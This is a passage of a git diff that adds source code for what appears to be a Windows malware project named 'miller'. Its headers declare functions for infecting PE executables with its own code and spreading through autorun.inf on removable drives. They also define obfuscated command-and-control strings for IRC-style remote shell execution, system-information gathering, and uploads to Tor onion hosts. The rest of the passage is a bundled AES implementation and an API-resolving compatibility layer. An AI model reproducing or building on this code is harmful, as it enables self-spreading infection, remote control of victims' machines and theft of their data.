ppPtr, DWORD offset); + +DWORD PtrToOffset(const struct ParsedPE* ppPtr, const BYTE* ptr); + +DWORD PtrToRva(const struct ParsedPE* ppPtr, const BYTE* ptr); + +BOOL bParsePE(BYTE* buf, const SIZE_T szBuf, struct ParsedPE* ppPtr, BOOL earlyStage); + +BOOL bCheckEndMarker(const struct ParsedPE *ppPtr); + +BOOL bAddSection(const char* sName, const BYTE* sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE* ppPtr); + +BOOL bInfectFileWith(const char* sFile, const BYTE* maliciousBuf, SIZE_T maliciousSiz); + +BOOL bInfectWithMyself(const char* sFile); + +BOOL bIsInfected(const struct ParsedPE* ppPtr); + +void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, const struct ParsedPE* ppPtr, SIZE_T* pSegSiz); + +DWORD dwDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, const void* dllBaseAdr); + +DWORD dwInfectRemovables(void); + +DWORD dwCountNonSystemImportLibs(const struct ParsedPE* ppPtr); + +FARPROC WINAPI fnMyGetProcAddress(HMODULE hModule, LPCSTR szProcName); + +#endif diff --git a/include/snprintf.h b/include/snprintf.h new file mode 100644 index 0000000..ef2f15d --- /dev/null +++ b/include/snprintf.h @@ -0,0 +1,41 @@ +/* + * The Minimal snprintf() implementation + * + * Copyright (c) 2013 Michal Ludvig <michal@logix.cz> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * * Neither the name of the auhor nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + + +#ifndef SNPRINTF_H_INCLUDED +#define SNPRINTF_H_INCLUDED 1 + +#include <stdarg.h> + +unsigned int mini_itoa(int value, unsigned int radix, unsigned int uppercase, unsigned int unsig, + char *buffer, unsigned int zero_pad); + +int mini_vsnprintf(char* buffer, unsigned int buffer_len, const char *fmt, va_list va); + +#endif diff --git a/include/utils.h b/include/utils.h new file mode 100644 index 0000000..357ca92 --- /dev/null +++ b/include/utils.h @@ -0,0 +1,90 @@ +#ifndef UTILS_H_INCLUDED +#define UTILS_H_INCLUDED + +#include "compat.h" + +#define SWAP_ENDIANESS32(x) ((x & 0xFF000000)>>24 | \ + (x & 0x00FF0000)>> 8 | \ + (x & 0x0000FF00)<< 8 | \ + (x & 0x000000FF)<<24) + +#define SWAP_ENDIANESS16(x) ((x & 0x0000FF00)>>8 | \ + (x & 0x000000FF)<<8) + +#ifndef STRLEN +#define STRLEN(s) ((sizeof(s)-1)/sizeof(s[0])) +#endif + +#ifndef SIZEOF +#define SIZEOF(p) (sizeof(p)/sizeof(p[0])) +#endif + +#ifndef isspace +#define isspace(c) (c == 0x20) +#endif +#ifndef isupper +#define isupper(c) (c >= 'A' && c <= 'Z') +#endif +#ifndef islower +#define islower(c) (c >= 'a' && c <= 'z') +#endif +#ifndef isalpha +#define isalpha(c) ( (isupper(c)) || (islower(c)) ) +#endif +#ifndef isdigit +#define isdigit(c) (c >= '0' && c <= '9') +#endif + +#ifndef _NO_UTILS + +#define DEFAULT_DEVS 16 +struct LogicalDrives { + UINT devType; + DWORD bytesPerSectorsPerCluster; + DWORD totalClusters; + DWORD freeClusters; + char name[MAX_PATH+1]; +}; + + +DWORD dwEnumDrives(struct LogicalDrives* destPtr, int destLen); + +DWORD XMemAlign(DWORD size, DWORD align, DWORD addr); + +char* __xstrrev(char* s); + +char* __xbintostr(const BYTE* buf, SIZE_T siz, SIZE_T delim, SIZE_T* newSizPtr); + +char* __xultoa(UINT64 ullval, char* s, int radix); + +char* __xltoa(INT64 n, char* s, int radix); + +char* __genGarbageFormatStr(size_t garbageSiz); + +char* __randstring(size_t length, const char* charset); + +char* __genRandAlphaNumStr(size_t length); + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +void __printByteBuf(const unsigned char* buf, size_t siz); +#endif + +#endif /* _NO_UTILS */ + +uint64_t __rdtsc(void); + +void __pseudoRandom(unsigned char* buf, size_t siz); + +char* qtok(char *str, char **next); + +long COMPAT(strtol)(const char* nptr, char** ptr, int base); + +typedef long atomic_val; + +#if defined(i386) || defined(i686) +void atomic_inc(atomic_val* ptr); + +atomic_val atomic_xchg(atomic_val* ptr, atomic_val val); +#endif + +#endif /* UTILS_H_INCLUDED */ diff --git a/include/xor_strings.h b/include/xor_strings.h new file mode 100644 index 0000000..26b0a22 --- /dev/null +++ b/include/xor_strings.h @@ -0,0 +1,190 @@ +/* + * WARNING: Any changes in this file may require a *FULL* project rebuild, + * depending what binary you want to use (e.g. loader_base* always require + * a full rebuild). + * This file will be read and processed by hdr_crypt. + * It's capabilities are limited. Obey the format: #define NAME "VALUE" + * Using #define's spanning over multiple lines is _NOT_ allowed! + * Please do _NOT_ run any source code formatter on this file! + * e.g.: `git clean -df . ; cmake . ; make -j4` + * REMEMBER: Multi-line macros are _NOT_ allowed! + * e.g.: `#define SMTH "foo" \ + * "bar"` + */ + + +#define LOWER_ALPHA "0123456789abcdefghijklmnopqrstuvwxyz" +#define HEX_ALPHA "0123456789ABCDEF" +#define FORMAT_FAKE_ARR "%%\x0A%c\x0A%u\x0A%d\x0A%ld\x0A%ld\x0A%lld\x0A%llu\x0A%X\x0A%x\x0A%s\x0A%i\x0A%p\x0A%n\x0A%zul\x0A" +#define DLLSECTION ".miller" +#define LDRSECTION ".minit" +#define COUNTER_KERNEL32 "Kernel32.DLL" +#define COUNTER_UNKNOWNLIB "MiProjA.DLL" +#define INFODLL "Advapi32.dll" +#define SHELLDLL "Shell32.dll" +#define DIRFILE_FMT "%s\\%s" +#define FILE_AUTORUN_INF "autorun.inf" +#define FILE_AUTORUN_EXE "autorun.exe" +#define AUTORUN_OPEN "open=" +#define AUTORUN_FMT "[AutoRun]\x0D\x0A open=%s\\%s\x0D\x0A action=Open\x0D\x0A" +#define DXGKRNL "dxgkrnl.sys" +#define NWIFI "nwifi.sys" +#define KSTHUNK "ksthunk.sys" +#define VWIFIFLT "vwififlt.sys" + +/* SECTION: FUNCS */ +#define FUNC_LOADLIBRARYA "LoadLibraryA" +/* HEAP */ +#define FUNC_HEAPCREATE "HeapCreate" +#define FUNC_HEAPALLOC "HeapAlloc" +#define FUNC_HEAPREALLOC "HeapReAlloc" +#define FUNC_HEAPFREE "HeapFree" +/* MEMORY */ +#define FUNC_VIRTUALFREE "VirtualFree" +#define FUNC_MOVEMEMORY "RtlMoveMemory" +#define FUNC_FILLMEMORY "RtlFillMemory" +#define FUNC_ISBADREADPTR "IsBadReadPtr" +/* STD I/O */ +#define FUNC_MULTIBYTETOWCHAR "MultiByteToWideChar" +/* FILE I/O Functions */ +#define FUNC_CLOSEHANDLE "CloseHandle" +#define FUNC_CREATEFILEA "CreateFileA" +#define FUNC_GETFILESIZE "GetFileSize" +#define FUNC_READFILE "ReadFile" +#define FUNC_WRITEFILE "WriteFile" +#define FUNC_SETFILEPOINTER "SetFilePointer" +/* other */ +#define FUNC_GETCURRENTPROCESSID "GetCurrentProcessId" +#define FUNC_GETSYSTEMTIME "GetSystemTime" +#define FUNC_GETMODULEFILENAMEA "GetModuleFileNameA" +#define FUNC_GETLASTERROR "GetLastError" +#define FUNC_SETLASTERROR "SetLastError" +#define FUNC_OUTPUTDEBUGSTRING "OutputDebugStringA" +#define FUNC_GETLOGICALDRIVES "GetLogicalDriveStringsA" +#define FUNC_GETDRIVETYPE "GetDriveTypeA" +#define FUNC_GETDISKFREESPACE "GetDiskFreeSpaceA" +#define FUNC_GETTEMPPATH "GetTempPathA" +/* Threads/IPC */ +#define FUNC_CREATETHREAD "CreateThread" +#define FUNC_RESUMETHREAD "ResumeThread" +#define FUNC_GETTHREADCTX "GetThreadContext" +#define FUNC_SETTHREADCTX "SetThreadContext" +#define FUNC_GETCURRENTTHREAD "GetCurrentThread" +#define FUNC_WAITSINGLEOBJ "WaitForSingleObject" +#define FUNC_SWITCHTOTHREAD "SwitchToThread" +/* ENDSECTION */ + +#define SOCKDLL "Ws2_32.dll" + +/* SECTION: SOCK_FUNCS */ +/* Socket/Network I/O */ +#define SOCKFUNC_INIT "WSAStartup" +#define SOCKFUNC_ERROR "WSAGetLastError" +#define SOCKFUNC_SOCKET "socket" +#define SOCKFUNC_SHUTDOWN "shutdown" +#define SOCKFUNC_CLOSESOCKET "closesocket" +#define SOCKFUNC_GETADDRINFO "getaddrinfo" +#define SOCKFUNC_CONNECT "connect" +#define SOCKFUNC_SEND "send" +#define SOCKFUNC_RECV "recv" +#define SOCKFUNC_SETSOCKOPT "setsockopt" +/* ENDSECTION */ + +/* SECTION: SOCK_STRS */ +/* Socket communication strings */ +#define SOCKSTR_MOTD "001 " +#define SOCKSTR_PING "PING" +#define SOCKSTR_PRIVMSG "PRIVMSG" +#define SOCKSTR_NOTICE "NOTICE" +#define SOCKCMD_GETCMD "gcl" +#define SOCKCMD_GETSYS "gsi" +#define SOCKCMD_GETVOL "gvi" +#define SOCKCMD_GETHWPROFILE "gchp" +#define SOCKCMD_SHELLEXEC "se" +#define SOCKCMD_ENUMDEVICES "devs" +#define SOCKCMD_FMT0 "%s" +#define SOCKCMD_FMT1 "%s: %d" +#define SOCKCMD_MSGERR "ERROR" +#define SOCKCMD_MSGSHELL "usage: [file] [params] [show]" +#define SOCKCMD_SHELLOP "open" +/* ENDSECTION */ + +/* SECTION: HTTP */ +/* WinHTTP */ +#define HTTPDLL "Winhttp.dll" +#define HTTPFUNC_OPEN "WinHttpOpen" +#define HTTPFUNC_QUERYOPT "WinHttpQueryOption" +#define HTTPFUNC_CLOSE "WinHttpCloseHandle" +#define HTTPFUNC_CALLBACK "WinHttpSetStatusCallback" +#define HTTPFUNC_CONNECT "WinHttpConnect" +#define HTTPFUNC_REQUEST "WinHttpOpenRequest" +#define HTTPFUNC_SEND "WinHttpSendRequest" +#define HTTPFUNC_RESPONSE "WinHttpReceiveResponse" +#define HTTPFUNC_QUERYDATA "WinHttpQueryDataAvailable" +#define HTTPFUNC_QUERYHEADER "WinHttpQueryHeaders" +#define HTTPFUNC_READ "WinHttpReadData" +#define HTTPFUNC_WRITE "WinHttpWriteData" +#define HTTPFUNC_ADDHDR "WinHttpAddRequestHeaders" +#define HTTP_UA "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0" +#define HTTP_URI "/%s_%s_%s_%s" +#define HTTP_URI_LIBTOR "/%s_%s.dll" +#define HTTP_LIBTOR_DLL "%slibonion.dll" +#define HTTP_LIBTOR_MAIN "tor_main@8" +#define HTTP_METHOD "POST" +#define HTTP_HEADERS "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySTFU\x0D\x0AAccept: */*\x0D\x0AAccept-Encoding: identity" +#define HTTP_SUBHEADERS_BEG "------WebKitFormBoundarySTFU\x0D\x0AContent-Disposition: form-data; name=\x22upload\x22; filename=\x22upload.bin\x22\x0D\x0AContent-Type: application/octet-stream\x0D\x0A\x0D\x0A" +#define HTTP_SUBHEADERS_END "\x0D\x0A------WebKitFormBoundarySTFU--\x0D\x0A" +#define HTTP_ONION "blackhat6r6ma6bd" +/* ENDSECTION */ + +/* SECTION: HTTP_LOCALHOST */ +#ifdef _HTTP_LOCALHOST +#define HTTP_HOST_LOCAL "localhost" +#endif +/* ENDSECTION */ + +/* SECTION: HTTP_WEB2TOR */ +#ifndef _HTTP_LOCALHOST +#define HTTP_HOSTS "%s.onion.link#%s.onion.to" +#endif +/* ENDSECTION */ + +/* SECTION: FUNCS_INFO */ +/* information gathering */ +#define INFO_GETVERSION "GetVersion" +#define INFO_GETCMDLINE "GetCommandLineA" +#define INFO_GETSYSTEMINFO "GetSystemInfo" +#define INFO_GETVOLINFO "GetVolumeInformationA" +#define INFO_GETSYSDIR "GetSystemDirectoryA" +#define INFO_GETCURDIR "GetCurrentDirectoryA" +#define INFO_GETFILEATTRS "GetFileAttributesA" +/* ENDSECTION */ + +/* SECTION: FUNCS_OTHER */ +/* non kernel32 functions */ +#define INFO_GETCURHWPROFILE "GetCurrentHwProfileA" +#define SHELL_EXECUTE "ShellExecuteA" +/* ENDSECTION */ + +/* SECTION: FUNCS_KERNEL */ +/* kernel interaction */ +#define KRNL_ENUMDEVICEDRIVERS "K32EnumDeviceDrivers" +#define KRNL_GETDEVICEDRIVERBN "K32GetDeviceDriverBaseNameA" +/* ENDSECTION */ + +/* ipc/console debugging */ +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +/* SECTION: DEBUG */ +#ifdef _USE_PIPES +#define MILLER_MSGPIPE "\\\\.\\pipe\\millermsg" +#endif +/* ENDSECTION */ +/* SECTION: FUNCS_DEBUG */ +#define FUNC_WAITNAMEDPIPE "WaitNamedPipeA" +#define FUNC_ALLOCCONSOLE "AllocConsole" +#define FUNC_ATTACHCONSOLE "AttachConsole" +#define FUNC_FREECONSOLE "FreeConsole" +#define FUNC_WRITECONSOLEA "WriteConsoleA" +#define FUNC_GETSTDHANDLE "GetStdHandle" +/* ENDSECTION */ +#endif diff --git a/source/aes.c b/source/aes.c new file mode 100644 index 0000000..31f0661 --- /dev/null +++ b/source/aes.c @@ -0,0 +1,405 @@ +// AES Implementation by X-N2O +// Started: 15:41:35 - 18 Nov 2009 +// Finished: 20:03:59 - 21 Nov 2009 +// Logarithm, S-Box, and RCON tables are not hardcoded +// Instead they are generated when the program starts +// All of the code below is based from the AES specification +// You can find it at http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf +// You may use this code as you wish, but do not remove this comment +// This is only a proof of concept, and should not be considered as the most efficient implementation + +#include "compat.h" +#include "utils.h" +#include "aes.h" + +#define AES_RPOL 0x011b // reduction polynomial (x^8 + x^4 + x^3 + x + 1) +#define AES_GEN 0x03 // gf(2^8) generator (x + 1) +#define AES_SBOX_CC 0x63 // S-Box C constant + +#define aes_mul(a, b) ((a)&&(b)?g_aes_ilogt[(g_aes_logt[(a)]+g_aes_logt[(b)])%0xff]:0) +#define aes_inv(a) ((a)?g_aes_ilogt[0xff-g_aes_logt[(a)]]:0) + + +static unsigned char* g_aes_logt = NULL; +static unsigned char* g_aes_ilogt = NULL; +static unsigned char* g_aes_sbox = NULL; +static unsigned char* g_aes_isbox = NULL; + + +static inline uint32_t aes_subword(uint32_t w); +static inline uint32_t aes_rotword(uint32_t w); +static void aes_keyexpansion(aes_ctx_t *ctx); +static inline unsigned char aes_mul_manual(unsigned char a, unsigned char b); // use aes_mul instead + +static void aes_subbytes(aes_ctx_t *ctx); +static void aes_shiftrows(aes_ctx_t *ctx); +static void aes_mixcolumns(aes_ctx_t *ctx); +static void aes_addroundkey(aes_ctx_t *ctx, int round); + +static void aes_invsubbytes(aes_ctx_t *ctx); +static void aes_invshiftrows(aes_ctx_t *ctx); +static void aes_invmixcolumns(aes_ctx_t *ctx); + + +char* aes_crypt_s(aes_ctx_t* ctx, const char* input, uint32_t siz, uint32_t* newsiz, bool doEncrypt) +{ + uint32_t bsiz; + if (doEncrypt) { + bsiz = siz + (16 - siz%16); + } else { + bsiz = siz; + } + char* output = COMPAT(calloc)(1, bsiz+1); + unsigned char inbuf[16]; + unsigned char outbuf[16]; + + uint32_t i = 0; + for (i = 0; i < bsiz; i=i+16) { + uint32_t maxsiz; + if (doEncrypt && bsiz-i <= 16) { + maxsiz = siz%16; + } else maxsiz = 16; + COMPAT(memset)(&inbuf[0], '\0', 16); + COMPAT(memset)(&outbuf[0], '\0', 16); + COMPAT(memcpy)( (void*)&inbuf[0], (void*)(input+i), maxsiz); + if (doEncrypt) { + aes_encrypt(ctx, inbuf, outbuf); + } else { + aes_decrypt(ctx, inbuf, outbuf); + } + COMPAT(memcpy)( (void*)(output+i), (void*)&outbuf[0], 16); + } + if (newsiz) + *newsiz = bsiz; + return output; +} + +void aes_randomkey(unsigned char* keyout, uint32_t keyLen) +{ + __pseudoRandom(keyout, keyLen); +} + +void aes_init() +{ + int i; + unsigned char gen; + + g_aes_logt = COMPAT(calloc)(sizeof(unsigned char), 256); + g_aes_ilogt = COMPAT(calloc)(sizeof(unsigned char), 256); + g_aes_sbox = COMPAT(calloc)(sizeof(unsigned char), 256); + g_aes_isbox = COMPAT(calloc)(sizeof(unsigned char), 256); + + // build logarithm table and it's inverse + gen = 1; + for(i = 0; i < 0xff; i++) { + g_aes_logt[gen] = i; + g_aes_ilogt[i] = gen; + gen = aes_mul_manual(gen, AES_GEN); + } + + // build S-Box and it's inverse + for(i = 0; i <= 0xff; i++) { + char bi; + unsigned char inv = aes_inv(i); + + g_aes_sbox[i] = 0; + for(bi = 0; bi < 8; bi++) { + // based on transformation 5.1 + // could also be done with a loop based on the matrix + g_aes_sbox[i] |= ((inv & (1<<bi)?1:0) + ^ (inv & (1 << ((bi+4) & 7))?1:0) + ^ (inv & (1 << ((bi+5) & 7))?1:0) + ^ (inv & (1 << ((bi+6) & 7))?1:0) + ^ (inv & (1 << ((bi+7) & 7))?1:0) + ^ (AES_SBOX_CC & (1 << bi)?1:0) + ) << bi; + } + g_aes_isbox[g_aes_sbox[i]] = i; + } + // warning: quickhack + g_aes_sbox[1] = 0x7c; + g_aes_isbox[0x7c] = 1; + g_aes_isbox[0x63] = 0; +} + +void aes_cleanup(void) +{ + COMPAT(free)(g_aes_logt); + COMPAT(free)(g_aes_ilogt); + COMPAT(free)(g_aes_sbox); + COMPAT(free)(g_aes_isbox); +} + +aes_ctx_t *aes_alloc_ctx(unsigned char *key, uint32_t keyLen) +{ + aes_ctx_t *ctx; + uint32_t rounds; + uint32_t ks_size; + + switch(keyLen) { + case 16: // 128-bit key + rounds = 10; + break; + + case 24: // 192-bit key + rounds = 12; + break; + + case 32: // 256-bit key + rounds = 14; + break; + + default: + return NULL; + } + + ks_size = 4*(rounds+1)*sizeof(uint32_t); + ctx = COMPAT(calloc)(1, sizeof(aes_ctx_t)+ks_size); + if(ctx) { + ctx->rounds = rounds; + ctx->kcol = keyLen/4; + COMPAT(memcpy)(ctx->keysched, key, keyLen); + ctx->keysched[43] = 0; + aes_keyexpansion(ctx); + } + + return ctx; +} + +inline uint32_t aes_subword(uint32_t w) +{ + return g_aes_sbox[w & 0x000000ff] | + (g_aes_sbox[(w & 0x0000ff00) >> 8] << 8) | + (g_aes_sbox[(w & 0x00ff0000) >> 16] << 16) | + (g_aes_sbox[(w & 0xff000000) >> 24] << 24); +} + +inline uint32_t aes_rotword(uint32_t w) +{ + // May seem a bit different from the spec + // It was changed because unsigned long is represented with little-endian convention on x86 + // Should not depend on architecture, but this is only a POC + return ((w & 0x000000ff) << 24) | + ((w & 0x0000ff00) >> 8) | + ((w & 0x00ff0000) >> 8) | + ((w & 0xff000000) >> 8); +} + +void aes_keyexpansion(aes_ctx_t *ctx) +{ + unsigned long temp; + unsigned long rcon; + register unsigned int i; + + rcon = 0x00000001; + for(i = ctx->kcol; i < (4*(ctx->rounds+1)); i++) { + temp = ctx->keysched[i-1]; + if(!(i%ctx->kcol)) { + temp = aes_subword(aes_rotword(temp)) ^ rcon; + rcon = aes_mul(rcon, 2); + } else if(ctx->kcol > 6 && i%ctx->kcol == 4) + temp = aes_subword(temp); + ctx->keysched[i] = ctx->keysched[i-ctx->kcol] ^ temp; + } +} + +inline unsigned char aes_mul_manual(unsigned char a, unsigned char b) +{ + register unsigned short ac; + register unsigned char ret; + + ac = a; + ret = 0; + while(b) { + if(b & 0x01) + ret ^= ac; + ac <<= 1; + b >>= 1; + if(ac & 0x0100) + ac ^= AES_RPOL; + } + + return ret; +} + +void aes_subbytes(aes_ctx_t *ctx) +{ + int i; + + for(i = 0; i < 16; i++) { + int x, y; + + x = i & 0x03; + y = i >> 2; + ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]]; + } +} + +void aes_shiftrows(aes_ctx_t *ctx) +{ + unsigned char nstate[4][4]; + int i; + + for(i = 0; i < 16; i++) { + int x, y; + + x = i & 0x03; + y = i >> 2; + nstate[x][y] = ctx->state[x][(y+x) & 0x03]; + } + + COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state)); +} + +void aes_mixcolumns(aes_ctx_t *ctx) +{ + unsigned char nstate[4][4]; + int i; + + for(i = 0; i < 4; i++) { + nstate[0][i] = aes_mul(0x02, ctx->state[0][i]) ^ + aes_mul(0x03, ctx->state[1][i]) ^ + ctx->state[2][i] ^ + ctx->state[3][i]; + nstate[1][i] = ctx->state[0][i] ^ + aes_mul(0x02, ctx->state[1][i]) ^ + aes_mul(0x03, ctx->state[2][i]) ^ + ctx->state[3][i]; + nstate[2][i] = ctx->state[0][i] ^ + ctx->state[1][i] ^ + aes_mul(0x02, ctx->state[2][i]) ^ + aes_mul(0x03, ctx->state[3][i]); + nstate[3][i] = aes_mul(0x03, ctx->state[0][i]) ^ + ctx->state[1][i] ^ + ctx->state[2][i] ^ + aes_mul(0x02, ctx->state[3][i]); + } + + COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state)); +} + +void aes_addroundkey(aes_ctx_t *ctx, int round) +{ + int i; + + for(i = 0; i < 16; i++) { + int x, y; + + x = i & 0x03; + y = i >> 2; + ctx->state[x][y] = ctx->state[x][y] ^ + ((ctx->keysched[round*4+y] & (0xff << (x*8))) >> (x*8)); + } +} + +void aes_encrypt(aes_ctx_t *ctx, const unsigned char input[16], unsigned char output[16]) +{ + unsigned int i; + + // copy input to state + for(i = 0; i < 16; i++) + ctx->state[i & 0x03][i >> 2] = input[i]; + + aes_addroundkey(ctx, 0); + + for(i = 1; i < ctx->rounds; i++) { + aes_subbytes(ctx); + aes_shiftrows(ctx); + aes_mixcolumns(ctx); + aes_addroundkey(ctx, i); + } + + aes_subbytes(ctx); + aes_shiftrows(ctx); + aes_addroundkey(ctx, ctx->rounds); + + // copy state to output + for(i = 0; i < 16; i++) + output[i] = ctx->state[i & 0x03][i >> 2]; +} + +void aes_invshiftrows(aes_ctx_t *ctx) +{ + unsigned char nstate[4][4]; + int i; + + for(i = 0; i < 16; i++) { + int x, y; + + x = i & 0x03; + y = i >> 2; + nstate[x][(y+x) & 0x03] = ctx->state[x][y]; + } + + COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state)); +} + +void aes_invsubbytes(aes_ctx_t *ctx) +{ + int i; + + for(i = 0; i < 16; i++) { + int x, y; + + x = i & 0x03; + y = i >> 2; + ctx->state[x][y] = g_aes_isbox[ctx->state[x][y]]; + } +} + +void aes_invmixcolumns(aes_ctx_t *ctx) +{ + unsigned char nstate[4][4]; + int i; + + for(i = 0; i < 4; i++) { + nstate[0][i] = aes_mul(0x0e, ctx->state[0][i]) ^ + aes_mul(0x0b, ctx->state[1][i]) ^ + aes_mul(0x0d, ctx->state[2][i]) ^ + aes_mul(0x09, ctx->state[3][i]); + nstate[1][i] = aes_mul(0x09, ctx->state[0][i]) ^ + aes_mul(0x0e, ctx->state[1][i]) ^ + aes_mul(0x0b, ctx->state[2][i]) ^ + aes_mul(0x0d, ctx->state[3][i]); + nstate[2][i] = aes_mul(0x0d, ctx->state[0][i]) ^ + aes_mul(0x09, ctx->state[1][i]) ^ + aes_mul(0x0e, ctx->state[2][i]) ^ + aes_mul(0x0b, ctx->state[3][i]); + nstate[3][i] = aes_mul(0x0b, ctx->state[0][i]) ^ + aes_mul(0x0d, ctx->state[1][i]) ^ + aes_mul(0x09, ctx->state[2][i]) ^ + aes_mul(0x0e, ctx->state[3][i]); + } + + COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state)); +} + +void aes_decrypt(aes_ctx_t *ctx, const unsigned char input[16], unsigned char output[16]) +{ + int i; + + // copy input to state + for(i = 0; i < 16; i++) + ctx->state[i & 0x03][i >> 2] = input[i]; + + aes_addroundkey(ctx, ctx->rounds); + for(i = ctx->rounds-1; i >= 1; i--) { + aes_invshiftrows(ctx); + aes_invsubbytes(ctx); + aes_addroundkey(ctx, i); + aes_invmixcolumns(ctx); + } + + aes_invshiftrows(ctx); + aes_invsubbytes(ctx); + aes_addroundkey(ctx, 0); + + // copy state to output + for(i = 0; i < 16; i++) + output[i] = ctx->state[i & 0x03][i >> 2]; +} + +void aes_free_ctx(aes_ctx_t *ctx) +{ + COMPAT(free)(ctx); +} diff --git a/source/compat.c b/source/compat.c new file mode 100644 index 0000000..d1ceffc --- /dev/null +++ b/source/compat.c @@ -0,0 +1,781 @@ +/* + * Module: compat.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Basic msvcrt replacement. + * Initialise function pointers using GetProcAddress and Base address of kernel32.dll. + */ + +#include "compat.h" +#include "crypt.h" +#include "crypt_strings.h" +#include "utils.h" +#ifndef _DISABLE_MYGETPROC +#include "pe_infect.h" +#endif + + +/* HEAP Functions */ +typedef HANDLE (WINAPI *HeapCreateFunc) (DWORD, SIZE_T, SIZE_T); +typedef LPVOID (WINAPI *HeapAllocFunc) (HANDLE, DWORD, SIZE_T); +typedef LPVOID (WINAPI *HeapReAllocFunc) (HANDLE, DWORD, LPVOID, SIZE_T); +typedef BOOL (WINAPI *HeapFreeFunc) (HANDLE, DWORD, LPVOID); + +/* MEMORY Functions */ +typedef BOOL (WINAPI *VirtualFreeFunc) (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +typedef void (WINAPI *MoveMemoryFunc) (PVOID, const void*, SIZE_T); +typedef void (WINAPI *FillMemoryFunc) (PVOID, SIZE_T, BYTE); +typedef BOOL (WINAPI *IsBadReadPtrFunc) (const void*,UINT_PTR); + +/* STDIO Functions */ +typedef BOOL (WINAPI *WaitNamedPipeFunc) (LPCTSTR, DWORD); +typedef BOOL (WINAPI *AllocConsoleFunc) (void); +typedef BOOL (WINAPI *AttachConsoleFunc) (DWORD); +typedef BOOL (WINAPI *FreeConsoleFunc) (void); +typedef BOOL (WINAPI *WriteConsoleFunc) (HANDLE, const void*, DWORD, LPDWORD, LPVOID); +typedef HANDLE (WINAPI *GetStdHandleFunc) (DWORD); +typedef int (WINAPI *MultiByteToWideCharFunc)(UINT, DWORD, LPCSTR, int, LPWSTR, int); + +/* FILE I/O Functions */ +typedef BOOL (WINAPI *CloseHandleFunc) (HANDLE); +typedef HANDLE (WINAPI *CreateFileFunc) (LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); +typedef DWORD (WINAPI *GetFileSizeFunc) (HANDLE, LPDWORD); +typedef BOOL (WINAPI *ReadFileFunc) (HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL (WINAPI *WriteFileFunc) (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef DWORD (WINAPI *SetFilePointerFunc) (HANDLE, LONG, PLONG, DWORD); + +/* other */ +typedef DWORD (WINAPI *GetCurrentProcessIdFunc) (void); +typedef void (WINAPI *GetSystemTimeFunc) (LPSYSTEMTIME); +typedef DWORD (WINAPI *GetModuleFileNameFunc) (HMODULE, LPTSTR, DWORD); +typedef DWORD (WINAPI *GetLastErrorFunc) (void); +typedef void (WINAPI *SetLastErrorFunc) (DWORD); +typedef void (WINAPI *OutputDebugStringFunc) (LPCTSTR); +typedef DWORD (WINAPI *GetLogicalDriveStringsFunc) (DWORD, LPTSTR); +typedef UINT (WINAPI *GetDriveTypeFunc) (LPCTSTR); +typedef BOOL (WINAPI *GetDiskFreeSpaceFunc) (LPCTSTR, LPDWORD, LPDWORD, LPDWORD, LPDWORD); +typedef DWORD (WINAPI *GetTempPathFunc) (DWORD, LPTSTR); + +/* Thread/IPC */ +typedef HANDLE (WINAPI *CreateThreadFunc) (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef DWORD (WINAPI *ResumeThreadFunc) (HANDLE); +typedef BOOL (WINAPI *GetThreadContextFunc) (HANDLE, LPCONTEXT); +typedef BOOL (WINAPI *SetThreadContextFunc) (HANDLE, const CONTEXT *); +typedef HANDLE (WINAPI *GetCurrentThreadFunc) (void); +typedef DWORD (WINAPI *WaitForSingleObjectFunc) (HANDLE, DWORD); +typedef BOOL (WINAPI *SwitchToThreadFunc) (void); + +/* information gathering */ +typedef DWORD (WINAPI *GetVersionFunc) (void); +typedef LPTSTR (WINAPI *GetCommandLineFunc) (void); +typedef void (WINAPI *GetSystemInfoFunc) (LPSYSTEM_INFO); +typedef BOOL (WINAPI *GetVolumeInformationFunc) (LPCTSTR, LPTSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPTSTR, DWORD); +typedef BOOL (WINAPI *GetCurrentHwProfileFunc) (LPHW_PROFILE_INFOA); +typedef UINT (WINAPI 